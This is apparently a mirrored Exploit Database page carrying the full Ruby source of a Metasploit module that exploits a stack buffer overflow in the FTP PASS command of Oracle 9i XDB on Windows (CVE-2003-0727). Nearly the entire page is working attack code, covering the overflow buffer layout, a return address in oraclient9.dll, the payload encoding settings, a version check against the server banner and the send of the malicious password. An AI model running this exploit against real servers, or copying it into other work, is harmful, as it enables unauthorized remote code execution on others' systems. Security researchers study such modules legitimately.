Oracle 9i XDB (Windows x86) – FTP PASS Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16731/

• ##
  # $Id: oracle9i_xdb_ftp_pass.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle 9i XDB FTP PASS Overflow (win32)',
  			'Description'=> %q{
  					By passing an overly long string to the PASS command, a
  				stack based buffer overflow occurs. David Litchfield, has
  				illustrated multiple vulnerabilities in the Oracle 9i XML
  				Database (XDB), during a seminar on "Variations in exploit
  				methods between Linux and Windows" presented at the Blackhat
  				conference.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0727'],
  					[ 'OSVDB', '2449'],
  					[ 'BID', '8375'],
  					[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Targets'=>
  				[
  					[
  						'Oracle 9.2.0.1 Universal',
  						{
  									'Platform' => 'win',
  									'Ret'=> 0x60616d46, # oraclient9.dll (pop/pop/ret)
  						},
  					],
  				],
  			'DisclosureDate' => 'Aug 18 2003',
  			'DefaultTarget' => 0))
  
  		register_options([Opt::RPORT(2100),], self.class)
  		deregister_options('FTPUSER', 'FTPPASS')
  	end
  
  
  	def check
  		connect
  		disconnect
  		if (banner =~ /9\.2\.0\.1\.0/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		user = rand_text_alpha_upper(10)
  		sploit =rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6)
  		sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded
  
  		print_status("Trying target #{target.name}...")
  
  		send_cmd( ['USER', user], true )
  		send_cmd( ['PASS', sploit], false )
  
  		handler
  		disconnect
  	end
  
  end